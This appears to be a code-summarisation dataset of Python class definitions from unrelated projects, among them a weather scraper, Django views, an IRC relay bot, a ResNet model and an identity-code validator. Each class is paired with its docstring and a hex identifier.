class YahooWeeklyWeatherSpider(scrapy.Spider): <NEW_LINE> <INDENT> name = 'yahoo_weekly_weather' <NEW_LINE> allowed_domains = ['weather.yahoo.co.jp'] <NEW_LINE> start_urls = [] <NEW_LINE> urls_file_path = './data/urls/{}.csv'.format(name) <NEW_LINE> output_file_name = name <NEW_LINE> channel = 0 <NEW_LINE> now = datetime.now() <NEW_LINE> def __init__(self, channel_id, file_name_suffix, *args, **kwargs): <NEW_LINE> <INDENT> super(YahooWeeklyWeatherSpider, self).__init__(*args, **kwargs) <NEW_LINE> self.channel = channel_id <NEW_LINE> self.output_file_name += file_name_suffix <NEW_LINE> with open(self.urls_file_path, newline='', encoding='utf-8') as csvfile: <NEW_LINE> <INDENT> reader = csv.reader(csvfile) <NEW_LINE> for row in reader: <NEW_LINE> <INDENT> self.start_urls.append(row[0]) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def parse(self, response): <NEW_LINE> <INDENT> dates = response.xpath('//div[@id="yjw_week"]/table[1]/tr[1]/td') <NEW_LINE> weatheres = response.xpath('//div[@id="yjw_week"]/table[1]/tr[2]/td') <NEW_LINE> temperatures = response.xpath('//div[@id="yjw_week"]/table[1]/tr[3]/td') <NEW_LINE> chance_of_rains = response.xpath('//div[@id="yjw_week"]/table[1]/tr[4]/td') <NEW_LINE> for d, w, t, c in zip(dates[1:], weatheres[1:], temperatures[1:], chance_of_rains[1:]): <NEW_LINE> <INDENT> item = WeatherscrapyItem() <NEW_LINE> date_text = d.xpath('small/text()').extract_first() <NEW_LINE> date_text_list = date_text.replace('月', ' ').replace('日', ' ').split() <NEW_LINE> item['date'] = date(self.now.year, int(date_text_list[0]), int(date_text_list[1])) <NEW_LINE> item['weather'] = w.xpath('small/text()').extract_first() <NEW_LINE> item['highest_temperatures'] = t.xpath('small/font[1]/text()').extract_first() <NEW_LINE> item['lowest_temperatures'] = t.xpath('small/font[2]/text()').extract_first() <NEW_LINE> item['chance_of_rain'] = c.xpath('small/text()').extract_first() <NEW_LINE> item['acquisition_date'] = self.now <NEW_LINE> item['channel'] = self.channel <NEW_LINE> yield item | Yahoo!天気の週間天気予報を取得するスパイダー。 | 62598fe8187af65679d29fa0 |
class RaidOperationError(errors.RESTError): <NEW_LINE> <INDENT> message = ('Raid operation error!') | Error raised when raid operation error | 62598fe84c3428357761aa03 |
class History(BaseTest): <NEW_LINE> <INDENT> def __init__(self, test_parms_dict, connection_instance, input_arg_dict): <NEW_LINE> <INDENT> BaseTest.__init__(self, test_parms_dict, connection_instance, input_arg_dict) <NEW_LINE> self.dict_parms = test_parms_dict <NEW_LINE> self.connection = connection_instance <NEW_LINE> self.command_line_overrides = input_arg_dict <NEW_LINE> self.current_datastore = None <NEW_LINE> self.current_interval_date = None <NEW_LINE> self.current_interval_time = None <NEW_LINE> self.current_interval_date_2 = None <NEW_LINE> self.current_interval_time_2 = None <NEW_LINE> self.current_vcat = None <NEW_LINE> self.specific_column_to_compare = None <NEW_LINE> self.common_history_expected_parms_list = ['current_datastore', 'current_interval_date', 'current_interval_time', 'current_vcat'] <NEW_LINE> self.common_history_optional_parms_list = ['column', 'current_interval_date_2', 'current_interval_time_2'] <NEW_LINE> <DEDENT> def build_test(self): <NEW_LINE> <INDENT> super(History, self).build_test() <NEW_LINE> self.set_common_expected_parms() <NEW_LINE> self.set_common_optional_parms() <NEW_LINE> <DEDENT> def set_common_expected_parms(self): <NEW_LINE> <INDENT> for parm in self.common_history_expected_parms_list: <NEW_LINE> <INDENT> if parm == 'current_interval_time' and self.current_interval_date == '1': <NEW_LINE> <INDENT> continue <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> rc, value = self.get_parm_value(parm) <NEW_LINE> if rc: <NEW_LINE> <INDENT> if parm == 'current_datastore': <NEW_LINE> <INDENT> self.current_datastore = value.upper() <NEW_LINE> self.expected_parms_dict[parm] = value <NEW_LINE> <DEDENT> elif parm == 'current_interval_date': <NEW_LINE> <INDENT> self.current_interval_date = value <NEW_LINE> self.expected_parms_dict[parm] = value <NEW_LINE> <DEDENT> elif parm == 'current_interval_time': <NEW_LINE> <INDENT> self.current_interval_time = value <NEW_LINE> self.expected_parms_dict[parm] = value <NEW_LINE> <DEDENT> elif parm == 'current_vcat': <NEW_LINE> <INDENT> self.current_vcat = value <NEW_LINE> self.expected_parms_dict[parm] = value <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> continue <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> InputParms.no_required_parameter(parm) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> def set_common_optional_parms(self): <NEW_LINE> <INDENT> for parm in self.common_history_optional_parms_list: <NEW_LINE> <INDENT> rc, value = self.get_parm_value(parm) <NEW_LINE> if parm == 'column': <NEW_LINE> <INDENT> if rc: <NEW_LINE> <INDENT> self.specific_column_to_compare = value <NEW_LINE> self.optional_parms_dict[parm] = value <NEW_LINE> <DEDENT> <DEDENT> elif parm == 'current_interval_date_2': <NEW_LINE> <INDENT> if rc: <NEW_LINE> <INDENT> self.current_interval_date_2 = value <NEW_LINE> self.optional_parms_dict[parm] = value <NEW_LINE> <DEDENT> <DEDENT> elif parm == 'current_interval_time_2': <NEW_LINE> <INDENT> if rc: <NEW_LINE> <INDENT> self.current_interval_time_2 = value <NEW_LINE> self.optional_parms_dict[parm] = value <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> continue | This class inherits from BaseTest and contains methods that interact with the historical interval functionality of
products. | 62598fe8ab23a570cc2d5119 |
class DayListView(generic.ListView): <NEW_LINE> <INDENT> queryset = Day.objects.active() | List of days. | 62598fe8187af65679d29fa3 |
class HiddenCroppedImageFileInput(CroppedImageFileInput): <NEW_LINE> <INDENT> def __init__(self, attrs=None): <NEW_LINE> <INDENT> super(HiddenCroppedImageFileInput, self).__init__(attrs) <NEW_LINE> self.widgets = (HiddenInput(attrs=attrs), ImageCropCoordinatesInput(attrs=attrs), ) <NEW_LINE> for widget in self.widgets: <NEW_LINE> <INDENT> widget.input_type = 'hidden' <NEW_LINE> widget.is_hidden = True | Splits the cropped image file input into two hidden inputs | 62598fe84c3428357761aa05 |
class SchemaResponseDetailPermission(SchemaResponseParentPermission, permissions.BasePermission): <NEW_LINE> <INDENT> REQUIRED_PERMISSIONS = {'DELETE': 'admin', 'PATCH': 'write'} | Permissions for top-level `schema_response` detail endpoints.
See SchemaResponseParentPermission for GET permission requirements
To PATCH to a SchemaResponse, a user must have "write" permissions on the parent resource.
To DELETE a SchemaResponse, a user must have "admin" permissions on the parent resource. | 62598fe8ad47b63b2c5a7faa |
class FunctionFieldVectorSpaceIsomorphism(Morphism): <NEW_LINE> <INDENT> def _repr_(self): <NEW_LINE> <INDENT> s = "Isomorphism:" <NEW_LINE> s += "\n From: {}".format(self.domain()) <NEW_LINE> s += "\n To: {}".format(self.codomain()) <NEW_LINE> return s <NEW_LINE> <DEDENT> def is_injective(self): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> def is_surjective(self): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> def _richcmp_(self, other, op): <NEW_LINE> <INDENT> if type(self) != type(other): <NEW_LINE> <INDENT> return NotImplemented <NEW_LINE> <DEDENT> from sage.structure.richcmp import richcmp <NEW_LINE> return richcmp((self.domain(),self.codomain()), (other.domain(),other.codomain()), op) <NEW_LINE> <DEDENT> def __hash__(self): <NEW_LINE> <INDENT> return hash((self.domain(), self.codomain())) | Base class for isomorphisms between function fields and vector spaces.
EXAMPLES::
sage: K.<x> = FunctionField(QQ); R.<y> = K[]
sage: L.<y> = K.extension(y^2 - x*y + 4*x^3)
sage: V, f, t = L.vector_space()
sage: isinstance(f, sage.rings.function_field.maps.FunctionFieldVectorSpaceIsomorphism)
True | 62598fe8fbf16365ca79481e |
class LastInstanceOutputFilesResource(Resource): <NEW_LINE> <INDENT> @jwt_required <NEW_LINE> def get(self, asset_instance_id, temporal_entity_id): <NEW_LINE> <INDENT> asset_instance = assets_service.get_asset_instance(asset_instance_id) <NEW_LINE> entity = entities_service.get_entity(asset_instance["asset_id"]) <NEW_LINE> user_service.check_project_access(entity["project_id"]) <NEW_LINE> return files_service.get_last_output_files_for_instance( asset_instance["id"], temporal_entity_id, output_type_id=request.args.get("output_type_id", None), task_type_id=request.args.get("task_type_id", None), representation=request.args.get("representation", None), file_status_id=request.args.get("file_status_id", None), name=request.args.get("name", None) ) | Last revisions of output files for given instance grouped by output type
and file name. | 62598fe84c3428357761aa09 |
class LinkBot(irc.Bot): <NEW_LINE> <INDENT> def __init__(self, *data): <NEW_LINE> <INDENT> self.others = [] <NEW_LINE> self.fora = None <NEW_LINE> if data: <NEW_LINE> <INDENT> irc.Bot.__init__(self, *data) <NEW_LINE> <DEDENT> <DEDENT> def handle_cooked(self, op, sender, forum, addl): <NEW_LINE> <INDENT> if self.fora and forum and forum.is_channel(): <NEW_LINE> <INDENT> forum = MultiChannel(self.fora, forum.name()) <NEW_LINE> <DEDENT> irc.Bot.handle_cooked(self, op, sender, forum, addl) <NEW_LINE> <DEDENT> def set_others(self, others): <NEW_LINE> <INDENT> self.others = others <NEW_LINE> self.fora = [] <NEW_LINE> for i in [self] + others: <NEW_LINE> <INDENT> self.fora.append((i, i.channels)) <NEW_LINE> <DEDENT> <DEDENT> def broadcast(self, text): <NEW_LINE> <INDENT> for i in self.others: <NEW_LINE> <INDENT> i.announce(text) <NEW_LINE> <DEDENT> <DEDENT> def cmd_privmsg(self, sender, forum, addl): <NEW_LINE> <INDENT> if forum.is_channel(): <NEW_LINE> <INDENT> self.broadcast('<%s> %s' % (sender.name(), addl[0])) <NEW_LINE> <DEDENT> <DEDENT> def cmd_cprivmsg(self, sender, forum, addl): <NEW_LINE> <INDENT> if forum.is_channel(): <NEW_LINE> <INDENT> cmd = addl[0] <NEW_LINE> text = ' '.join(addl[1:]) <NEW_LINE> if cmd == 'ACTION': <NEW_LINE> <INDENT> self.broadcast('* %s %s' % (sender.name(), text)) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def cmd_nick(self, sender, forum, addl): <NEW_LINE> <INDENT> self.broadcast(' *** %s is now known as %s' % (addl[0], sender.name())) <NEW_LINE> <DEDENT> def cmd_join(self, sender, forum, addl): <NEW_LINE> <INDENT> self.broadcast(' *** %s has joined' % (sender.name())) <NEW_LINE> <DEDENT> def cmd_part(self, sender, forum, addl): <NEW_LINE> <INDENT> self.broadcast(' *** %s has left' % (sender.name())) <NEW_LINE> <DEDENT> cmd_quit = cmd_part | Linkbot stuff.
The strategy here is to relay messages to the
others, then get the others to act as if they had just seen the
message from their server. | 62598fe8c4546d3d9def7635 |
class IrTestCase(ModuleTestCase): <NEW_LINE> <INDENT> module = 'ir' <NEW_LINE> @with_transaction() <NEW_LINE> def test_sequence_substitutions(self): <NEW_LINE> <INDENT> pool = Pool() <NEW_LINE> Sequence = pool.get('ir.sequence') <NEW_LINE> SequenceType = pool.get('ir.sequence.type') <NEW_LINE> Date = pool.get('ir.date') <NEW_LINE> try: <NEW_LINE> <INDENT> Group = pool.get('res.group') <NEW_LINE> groups = Group.search([]) <NEW_LINE> <DEDENT> except KeyError: <NEW_LINE> <INDENT> groups = [] <NEW_LINE> <DEDENT> sequence_type = SequenceType(name='Test', code='test', groups=groups) <NEW_LINE> sequence_type.save() <NEW_LINE> sequence = Sequence(name='Test Sequence', code='test') <NEW_LINE> sequence.save() <NEW_LINE> self.assertEqual(Sequence.get_id(sequence.id), '1') <NEW_LINE> today = Date.today() <NEW_LINE> sequence.prefix = '${year}' <NEW_LINE> sequence.save() <NEW_LINE> self.assertEqual(Sequence.get_id(sequence.id), '%s2' % str(today.year)) <NEW_LINE> next_year = today + relativedelta(years=1) <NEW_LINE> with Transaction().set_context(date=next_year): <NEW_LINE> <INDENT> self.assertEqual(Sequence.get_id(sequence.id), '%s3' % str(next_year.year)) <NEW_LINE> <DEDENT> <DEDENT> @with_transaction() <NEW_LINE> def test_global_search(self): <NEW_LINE> <INDENT> pool = Pool() <NEW_LINE> Model = pool.get('ir.model') <NEW_LINE> Model.global_search('User', 10) <NEW_LINE> <DEDENT> @with_transaction() <NEW_LINE> def test_lang_strftime(self): <NEW_LINE> <INDENT> pool = Pool() <NEW_LINE> Lang = pool.get('ir.lang') <NEW_LINE> test_data = [ ((2016, 8, 3), 'en', '%d %B %Y', u"03 August 2016"), ((2016, 8, 3), 'fr', '%d %B %Y', u"03 ao\xfbt 2016"), ((2016, 8, 3), 'fr', u'%d %B %Y', u"03 ao\xfbt 2016"), ] <NEW_LINE> for date, code, format_, result in test_data: <NEW_LINE> <INDENT> self.assertEqual( Lang.strftime(datetime.date(*date), code, format_), result) | Test ir module | 62598fe8091ae3566870537c |
class Dep(object): <NEW_LINE> <INDENT> def __init__(self,g,d,t,flag="l1"): <NEW_LINE> <INDENT> self.gov=g <NEW_LINE> self.dep=d <NEW_LINE> self.type=t <NEW_LINE> self.flag=flag <NEW_LINE> <DEDENT> def __eq__(self,other): <NEW_LINE> <INDENT> return (self.gov==other.gov and self.dep==other.dep and self.type==other.type and self.flag==other.flag) <NEW_LINE> <DEDENT> def __hash__(self): <NEW_LINE> <INDENT> return hash("-".join(str(n) for n in (self.gov,self.dep,self.type,self.flag))) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return ":".join(str(n) for n in (self.gov,self.dep,self.type,self.flag)) | Simple class to represent dependency. | 62598fe8c4546d3d9def7636 |
class TimeExpression: <NEW_LINE> <INDENT> def __init__(self,text,value): <NEW_LINE> <INDENT> self.text = text <NEW_LINE> self.value = value | simple record class | 62598fe8187af65679d29fa7 |
class SubjectField(forms.MultiValueField): <NEW_LINE> <INDENT> required_oids = (NameOID.COMMON_NAME,) <NEW_LINE> def __init__(self, **kwargs: typing.Any) -> None: <NEW_LINE> <INDENT> fields = tuple(forms.CharField(required=v in self.required_oids) for v in ADMIN_SUBJECT_OIDS) <NEW_LINE> kwargs.setdefault("widget", SubjectWidget) <NEW_LINE> super().__init__(fields=fields, require_all_fields=False, **kwargs) <NEW_LINE> <DEDENT> def compress(self, data_list: typing.List[str]) -> x509.Name: <NEW_LINE> <INDENT> return x509.Name( [x509.NameAttribute(oid, value) for oid, value in zip(ADMIN_SUBJECT_OIDS, data_list) if value] ) | A MultiValue field for a :py:class:`~django_ca.subject.Subject`. | 62598fe84c3428357761aa0d |
class TreeWatchHandler(pyinotify.ProcessEvent): <NEW_LINE> <INDENT> METAFILE_EXT = (".torrent", ".load", ".start", ".queue") <NEW_LINE> def my_init(self, **kw): <NEW_LINE> <INDENT> self.job = kw["job"] <NEW_LINE> <DEDENT> def handle_path(self, event): <NEW_LINE> <INDENT> self.job.LOG.debug("Notification %r" % event) <NEW_LINE> if event.dir: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> if any(event.pathname.endswith(i) for i in self.METAFILE_EXT): <NEW_LINE> <INDENT> MetafileHandler(self.job, event.pathname).handle() <NEW_LINE> <DEDENT> elif os.path.basename(event.pathname) == "watch.ini": <NEW_LINE> <INDENT> self.job.LOG.info("NOT YET Reloading watch config for '%s'" % event.path) <NEW_LINE> <DEDENT> <DEDENT> def process_IN_CLOSE_WRITE(self, event): <NEW_LINE> <INDENT> self.handle_path(event) <NEW_LINE> <DEDENT> def process_IN_MOVED_TO(self, event): <NEW_LINE> <INDENT> self.handle_path(event) <NEW_LINE> <DEDENT> def process_default(self, event): <NEW_LINE> <INDENT> if self.job.LOG.isEnabledFor(logging.DEBUG): <NEW_LINE> <INDENT> if self.job.config.trace_inotify: <NEW_LINE> <INDENT> self.job.LOG.debug("Ignored inotify event:\n %r" % event) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> self.job.LOG.warning("Unexpected inotify event %r" % event) | inotify event handler for rTorrent folder tree watch.
See https://github.com/seb-m/pyinotify/. | 62598fe8ad47b63b2c5a7fb2 |
class Pool: <NEW_LINE> <INDENT> def __init__(self, connections, picker_class=RoundRobinPicker): <NEW_LINE> <INDENT> self.connections = connections <NEW_LINE> self.picker = picker_class() <NEW_LINE> <DEDENT> def get_connection(self): <NEW_LINE> <INDENT> if len(self.connections) > 1: <NEW_LINE> <INDENT> return self.picker.pick(self.connections) <NEW_LINE> <DEDENT> return self.connections[0] | Pool of connections. | 62598fe826238365f5fad2c8 |
class MarkdownPreviewListener(object): <NEW_LINE> <INDENT> def on_post_save(self, filename): <NEW_LINE> <INDENT> settings = load_settings('MarkdownPreview.sublime-settings') <NEW_LINE> if settings.get('enable_autoreload', True): <NEW_LINE> <INDENT> filetypes = settings.get('markdown_filetypes') <NEW_LINE> if filetypes and filename.endswith(tuple(filetypes)): <NEW_LINE> <INDENT> temp_file = getTempMarkdownPreviewPath(filename) <NEW_LINE> if os.path.isfile(temp_file): <NEW_LINE> <INDENT> from subprocess import call <NEW_LINE> call(["open", temp_file]) | auto update the output html if markdown file has already been converted once | 62598fe84c3428357761aa11 |
class ImportCoursePage(ImportMixin, TemplateCheckMixin, CoursePage): <NEW_LINE> <INDENT> pass | Import page for Courses | 62598fe8fbf16365ca79482b |
class ResNetV1(ResNet): <NEW_LINE> <INDENT> def __init__(self, block, layers, channels, classes=1000, thumbnail=False, **kwargs): <NEW_LINE> <INDENT> super(ResNetV1, self).__init__(channels, classes, **kwargs) <NEW_LINE> assert len(layers) == len(channels) - 1 <NEW_LINE> self.features.add(nn.BatchNorm(scale=False, epsilon=2e-5)) <NEW_LINE> if thumbnail: <NEW_LINE> <INDENT> self.features.add(nn.Conv2D(channels[0], kernel_size=3, strides=1, padding=1, in_channels=0, use_bias=False)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.features.add(nn.Conv2D(channels[0], 7, 2, 3, use_bias=False)) <NEW_LINE> self.features.add(nn.BatchNorm()) <NEW_LINE> self.features.add(nn.Activation('relu')) <NEW_LINE> self.features.add(nn.MaxPool2D(3, 2, 1)) <NEW_LINE> self.features.add(nn.BatchNorm()) <NEW_LINE> <DEDENT> for i, num_layer in enumerate(layers): <NEW_LINE> <INDENT> stride = 1 if i == 0 else 2 <NEW_LINE> self.features.add( self._make_layer(block, num_layer, channels[i + 1], stride, i + 1, in_channels=channels[i])) <NEW_LINE> <DEDENT> self.features.add(nn.Activation('relu')) <NEW_LINE> self.features.add(nn.GlobalAvgPool2D()) <NEW_LINE> self.features.add(nn.Flatten()) | ResNet V1 model from
`"Deep Residual Learning for Image Recognition"
<http://arxiv.org/abs/1512.03385>`_ paper.
Parameters
----------
block : HybridBlock
Class for the residual block. Options are BasicBlockV1, BottleneckV1.
layers : list of int
Numbers of layers in each block
channels : list of int
Numbers of channels in each block. Length should be one larger than layers list.
classes : int, default 1000
Number of classification classes.
thumbnail : bool, default False
Enable thumbnail. | 62598fe8091ae35668705386 |
class ExportCatalogStart(ModelView): <NEW_LINE> <INDENT> __name__ = 'amazon.export_catalog.start' | Export Catalog to Amazon View | 62598fe8c4546d3d9def763b |
class UserConfig: <NEW_LINE> <INDENT> def __init__(self, **kwargs): <NEW_LINE> <INDENT> self.vardir = kwargs['vardir'] <NEW_LINE> self.id = kwargs['user_id'] <NEW_LINE> self.format = kwargs['format'] <NEW_LINE> self.language = kwargs['language'] <NEW_LINE> self.advance = kwargs['advance'] <NEW_LINE> self.config_parser = kwargs.get('config_parser', None) <NEW_LINE> self.errors_count_threshold = kwargs.get('errors_count_threshold', DEFAULT_ERRORS_COUNT_THRESHOLD) <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def new(cls, config, user_id): <NEW_LINE> <INDENT> return cls( vardir=config.vardir, user_id=user_id, format=DEFAULT_FORMAT, language=None, advance=DEFAULT_ADVANCE, errors_count_threshold=config.errors_count_threshold ) <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def load(cls, config, user_id, config_parser): <NEW_LINE> <INDENT> return cls( vardir=config.vardir, user_id=user_id, format=config_parser.get('settings', 'format', fallback=DEFAULT_FORMAT), language=config_parser.get('settings', 'language', fallback=None), advance=list( map(int, config_parser.get('settings', 'advance', fallback=' '.join(map(str, DEFAULT_ADVANCE))).split()) ), config_parser=config_parser, errors_count_threshold=config.errors_count_threshold, ) <NEW_LINE> <DEDENT> def set_format(self, format): <NEW_LINE> <INDENT> config_file = UserConfigFile(self.vardir, self.id) <NEW_LINE> parser = self.config_parser or config_file.read_parser() <NEW_LINE> if not parser.has_section('settings'): <NEW_LINE> <INDENT> parser.add_section('settings') <NEW_LINE> <DEDENT> parser.set('settings', 'format', format) <NEW_LINE> config_file.write(parser) <NEW_LINE> self.format = format <NEW_LINE> <DEDENT> def set_language(self, language): <NEW_LINE> <INDENT> config_file = UserConfigFile(self.vardir, self.id) <NEW_LINE> parser = self.config_parser or config_file.read_parser() <NEW_LINE> if not parser.has_section('settings'): <NEW_LINE> <INDENT> parser.add_section('settings') <NEW_LINE> <DEDENT> parser.set('settings', 'language', language) <NEW_LINE> config_file.write(parser) <NEW_LINE> self.language = language <NEW_LINE> <DEDENT> def set_advance(self, hours): <NEW_LINE> <INDENT> config_file = UserConfigFile(self.vardir, self.id) <NEW_LINE> parser = self.config_parser or config_file.read_parser() <NEW_LINE> if not parser.has_section('settings'): <NEW_LINE> <INDENT> parser.add_section('settings') <NEW_LINE> <DEDENT> int_hours = sorted(set(map(int, hours)), reverse=True) <NEW_LINE> parser.set('settings', 'advance', ' '.join(map(str, int_hours))) <NEW_LINE> config_file.write(parser) <NEW_LINE> self.advance = int_hours | Per-user configuration parameters. | 62598fe8ab23a570cc2d5123 |
class DatesListView(generic.ListView): <NEW_LINE> <INDENT> model = Dates <NEW_LINE> context_object_name = 'dates' <NEW_LINE> template_name = "dates/dates_list.html" <NEW_LINE> def get_context_data(self, **kwargs): <NEW_LINE> <INDENT> context = super(DatesListView, self).get_context_data(**kwargs) <NEW_LINE> context['model'] = 'Citas' <NEW_LINE> return context <NEW_LINE> <DEDENT> def get_queryset(self): <NEW_LINE> <INDENT> if self.request.user.groups.all()[0].name == REQUESTED_GROUP_NAME: <NEW_LINE> <INDENT> return Dates.objects.filter(agent=self.request.user.profile) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return Dates.objects.filter(requester=self.request.user.profile) | @Desc: Devuelve la lista de Citas por usuario autenticado | 62598fe84c3428357761aa19 |
class ChannelAccessEnv: <NEW_LINE> <INDENT> def __init__(self, pv_values): <NEW_LINE> <INDENT> self._pv_values = pv_values <NEW_LINE> self._old_values = None <NEW_LINE> self._old_index = None <NEW_LINE> <DEDENT> def __enter__(self): <NEW_LINE> <INDENT> global PV_TEST_DICT, PV_TEST_DICT_CALL_INDEX <NEW_LINE> self._old_values = PV_TEST_DICT <NEW_LINE> self._old_index = PV_TEST_DICT_CALL_INDEX <NEW_LINE> PV_TEST_DICT = self._pv_values <NEW_LINE> PV_TEST_DICT_CALL_INDEX = {} <NEW_LINE> for name in self._pv_values: <NEW_LINE> <INDENT> PV_TEST_DICT_CALL_INDEX[name] = 0 <NEW_LINE> <DEDENT> return self <NEW_LINE> <DEDENT> def __exit__(self, t, value, trace): <NEW_LINE> <INDENT> global PV_TEST_DICT, PV_TEST_DICT_CALL_INDEX <NEW_LINE> PV_TEST_DICT = self._old_values <NEW_LINE> PV_TEST_DICT_CALL_INDEX = self._old_index <NEW_LINE> <DEDENT> def get_call_count(self, name): <NEW_LINE> <INDENT> global PV_TEST_DICT_CALL_INDEX <NEW_LINE> return PV_TEST_DICT_CALL_INDEX[name] | Channel access environment setup.
Use this to create a channel access environment that can return different
values depending on the number of times a PV is accessed. This will also
track how many times a PV has been accessed. | 62598fe8fbf16365ca794831 |
class IdentityCodeValidator(object): <NEW_LINE> <INDENT> def __init__(self, validation_exception_type=ValidationError): <NEW_LINE> <INDENT> self.validation_exception_type = validation_exception_type <NEW_LINE> <DEDENT> @UnicodeArguments(skip=['self', 0]) <NEW_LINE> def __call__(self, value): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> digits = [int(i) for i in value] <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> raise self.validation_exception_type( u'Identity code should have only digits.') <NEW_LINE> <DEDENT> if len(digits) != 11: <NEW_LINE> <INDENT> raise self.validation_exception_type( u'Identity code should have exactly 11 digits.') <NEW_LINE> <DEDENT> gender_digit = digits[0] <NEW_LINE> control_digit = digits[-1] <NEW_LINE> case = None <NEW_LINE> for case, multipliers in enumerate([ range(1, 10) + [1], range(3, 10) + range(1, 4)]): <NEW_LINE> <INDENT> counted_control_digit = sum([ digit * multiplier for digit, multiplier in zip(digits, multipliers)]) % 11 <NEW_LINE> if counted_control_digit != 10: <NEW_LINE> <INDENT> case -= 1 <NEW_LINE> break <NEW_LINE> <DEDENT> <DEDENT> case += 1 <NEW_LINE> if control_digit != counted_control_digit: <NEW_LINE> <INDENT> raise self.validation_exception_type(( u'Incorrect identity code. Control digit is {0} and ' u'by case {2} was counted {1}.').format( control_digit, counted_control_digit, case+1)) <NEW_LINE> <DEDENT> if gender_digit in (1, 3, 5): <NEW_LINE> <INDENT> gender = u'm' <NEW_LINE> <DEDENT> elif gender_digit in (2, 4, 6): <NEW_LINE> <INDENT> gender = u'f' <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise self.validation_exception_type( u'Unknown gender: {0}.'.format(gender_digit)) <NEW_LINE> <DEDENT> if gender_digit in (1, 2): <NEW_LINE> <INDENT> year = u'18' <NEW_LINE> <DEDENT> elif gender_digit in (3, 4): <NEW_LINE> <INDENT> year = u'19' <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> year = u'20' <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> birth_date = datetime.date( int(u'{0}{1}{2}'.format(year, digits[1], digits[2])), int(u'{0}{1}'.format(digits[3], digits[4])), int(u'{0}{1}'.format(digits[5], digits[6]))) <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> raise self.validation_exception_type(u'Wrong birth date.') <NEW_LINE> <DEDENT> return IdentityCode(value, gender, birth_date) | Validates if given string represents correct identity code.
| 62598fe84c3428357761aa1b |
class TestBaseModelDictStorage(unittest.TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> self.ikea = FileStorage() <NEW_LINE> <DEDENT> def tearDown(self): <NEW_LINE> <INDENT> if os.path.exists("file.json"): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> os.remove("file.json") <NEW_LINE> <DEDENT> except BaseException: <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def test_file_storage(self): <NEW_LINE> <INDENT> self.assertFalse(hasattr(self.ikea, "fake_id")) | class testing File Storage | 62598fe9091ae3566870538c |
class overlayworkingfilectx(committablefilectx): <NEW_LINE> <INDENT> def __init__(self, repo, path, filelog=None, parent=None): <NEW_LINE> <INDENT> super(overlayworkingfilectx, self).__init__(repo, path, filelog, parent) <NEW_LINE> self._repo = repo <NEW_LINE> self._parent = parent <NEW_LINE> self._path = path <NEW_LINE> <DEDENT> def cmp(self, fctx): <NEW_LINE> <INDENT> return self.data() != fctx.data() <NEW_LINE> <DEDENT> def changectx(self): <NEW_LINE> <INDENT> return self._parent <NEW_LINE> <DEDENT> def data(self): <NEW_LINE> <INDENT> return self._parent.data(self._path) <NEW_LINE> <DEDENT> def date(self): <NEW_LINE> <INDENT> return self._parent.filedate(self._path) <NEW_LINE> <DEDENT> def exists(self): <NEW_LINE> <INDENT> return self.lexists() <NEW_LINE> <DEDENT> def lexists(self): <NEW_LINE> <INDENT> return self._parent.exists(self._path) <NEW_LINE> <DEDENT> def renamed(self): <NEW_LINE> <INDENT> path = self._parent.copydata(self._path) <NEW_LINE> if not path: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> return path, self._changectx._parents[0]._manifest.get(path, nullid) <NEW_LINE> <DEDENT> def size(self): <NEW_LINE> <INDENT> return self._parent.size(self._path) <NEW_LINE> <DEDENT> def markcopied(self, origin): <NEW_LINE> <INDENT> self._parent.markcopied(self._path, origin) <NEW_LINE> <DEDENT> def audit(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def flags(self): <NEW_LINE> <INDENT> return self._parent.flags(self._path) <NEW_LINE> <DEDENT> def setflags(self, islink, isexec): <NEW_LINE> <INDENT> return self._parent.setflags(self._path, islink, isexec) <NEW_LINE> <DEDENT> def write(self, data, flags, backgroundclose=False, **kwargs): <NEW_LINE> <INDENT> return self._parent.write(self._path, data, flags, **kwargs) <NEW_LINE> <DEDENT> def remove(self, ignoremissing=False): <NEW_LINE> <INDENT> return self._parent.remove(self._path) <NEW_LINE> <DEDENT> def clearunknown(self): <NEW_LINE> <INDENT> pass | Wrap a ``workingfilectx`` but intercepts all writes into an in-memory
cache, which can be flushed through later by calling ``flush()``. | 62598fe9187af65679d29fb0 |
